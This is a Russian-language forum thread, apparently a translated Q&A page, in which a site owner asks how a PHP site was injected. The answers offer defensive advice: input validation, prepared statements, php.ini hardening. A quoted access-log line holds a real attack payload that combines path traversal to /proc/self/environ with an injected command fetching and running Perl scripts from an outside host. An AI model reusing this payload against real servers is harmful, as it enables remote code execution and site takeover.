Я был атакован инъекцией PHP/ скрипта - пустышка

Мой сайт подвергся атаке с целью фишинга. Это сложный сайт, но я использую только файлы post и PHP.

Как они могли напасть на меня? Я использую только $_POST, поэтому я считаю, что никакие команды и параметры SQL не видны. Там нет рамок, только мой маленький список кодирования и доступа на веб-сайте.

Любая подсказка / предложение будет оценено.

Извините, если я не отвечаю прямо, но я имею дело с моим провайдером, который заблокировал весь сайт.

это их ответ (любые комментарии будут приветствоваться):

Поскольку внедрение скриптов атакует сам код сайта, он может полностью избежать безопасности веб-сервера. К сожалению, некоторые системы управления контентом (особенно старые версии Joomla) чрезвычайно восприимчивы к этой форме атаки.

Простой способ отменить возможность для злоумышленников использовать этот метод - добавить файл php.ini на верхний уровень веб-сайта со следующим содержимым - имейте в виду, что веб-сайт впоследствии будет нуждаться в тестировании, чтобы гарантировать, что нет Изменения повлияли на действия, допустимые для веб-сайта по сценарию:


Директивы php.ini являются...

allow_url_include = "0"

allow_url_fopen = "0"

Обновить:

вот что я получил от компании веб-хостинга:

121.254.216.170 - - [12 / Sep / 2011: 05: 21: 07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP / 1.1 "200 5806" - "" http://some.thesome.com/etc/ byz.jpg? -O / tmp / cmd548; cd / tmp; lwp-download http://some.thesome.com/etc/cup.txt;perl cup.txt; rm -rf *.txt *; wget http://some.thesome.com/etc/update.txt;perl update.txt; rm -rf *.txt * '); echo \ "# j13mb0t \";?> "

3 ответа

Решение

POST-запросы также можно отправлять вручную, например, с помощью cURL. Никто не мешает людям просто открывать терминал telnet, вводить команду вручную и отправлять любые параметры на ваш сайт.

Вместо этого вы всегда должны защищать свой сайт и проверять вводимые данные. Будь они из POST, GET или из любого другого места. Кроме того, предпочитайте использовать PDO вместо стандартных функций mysql в PHP.

Не могли бы вы уточнить, какие attack случилось на вашем сайте?

Существует множество способов взлома сервера. Трудно сказать, как это произошло в вашем случае, не зная больше о вашем проекте или сервере.

Но несколько советов:

Убедитесь, что вы всегда избегаете данных, которые записаны в вашу базу данных. Вы можете использовать mysql_real_escape_string(), например. Помимо атаки на ваши скрипты, ваш сервер также мог быть атакован, например, через FTP или SSH.

Кроме того, всегда убедитесь, что вы обновляете все популярные фреймворки / библиотеки, которые вы используете.

$_POST не является допустимым методом для блокировки SQL-атак. Вы должны использовать подготовленные операторы с параметрами для всех значений, полученных из $_GET или $_POST, или использовать mysql_real_escape_string для всех этих параметров.

Другие вопросы по тегам